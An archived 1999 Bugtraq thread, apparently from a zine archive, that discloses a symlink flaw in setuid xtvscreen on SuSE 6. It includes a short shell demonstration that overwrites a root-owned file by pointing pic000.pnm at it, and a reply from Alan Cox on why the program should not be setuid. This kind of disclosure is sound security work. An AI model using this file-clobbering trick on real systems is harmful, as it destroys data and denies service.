home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / xtvscreen.suse6.txt < prev   
Internet Message Format  |  1999-02-19  |  2KB

  1. Date: Thu, 18 Feb 1999 15:54:24 +0000
  2. From: Andre Cruz <afafc@CAMOES.RNL.IST.UTL.PT>
  3. To: BUGTRAQ@netspace.org
  4. Subject: xtvscreen and suse 6
  5.  
  6. You can use xtvscreen to overwrite any file on the system.
  7. Xtvscreen has a function to capture a snapshot and will write it as
  8. pic000.pnm, pic001.pnm, etc in it's working directory. It follows
  9. symlinks.
  10. root@korn:/tmp > ls -l exp
  11. -rw-r--r--   1 root     root            4 Feb 18 15:42 exp
  12. edevil@korn:~ > ln -s /tmp/exp pic000.pnm
  13. edevil@korn:~ > xtvscreen
  14. Sound mixer initialized !
  15. Using Visual TrueColor
  16. msize: 0x00640000
  17. /*
  18. Start->Capture goes here
  19. Start->Snapshot goes here */
  20. [1]+  Stopped                 xtvscreen
  21. edevil@korn:~ > cd /tmp
  22. edevil@korn:/tmp > ls -l exp
  23. -rw-r--r--   1 root     root       453135 Feb 18 15:47 exp
  24. edevil@korn:/tmp >
  25. I don't know how to write arbitrary data to the file but it can be used
  26. for DoS.
  27. If this is already known I'm sorry.
  28.  
  29. ---
  30. Andre Cruz
  31. afafc@camoes.rnl.ist.utl.pt
  32.  
  33. ------------------------------------------------------------------------
  34.  
  35. Date: Thu, 18 Feb 1999 22:51:00 +0000
  36. From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
  37. To: BUGTRAQ@netspace.org
  38. Subject: Re: xtvscreen and suse 6
  39.  
  40. > You can use xtvscreen to overwrite any file on the system.
  41. > Xtvscreen has a function to capture a snapshot and will write it as
  42.  
  43. Xtvscreen really should not be installed setuid. The only reason to do so
  44. is because something has to tell the capture card where the frame buffer is.
  45. This should be the Xserver (patched), or one of the small helper applications
  46. available for this.
  47.  
  48. Alan
  49.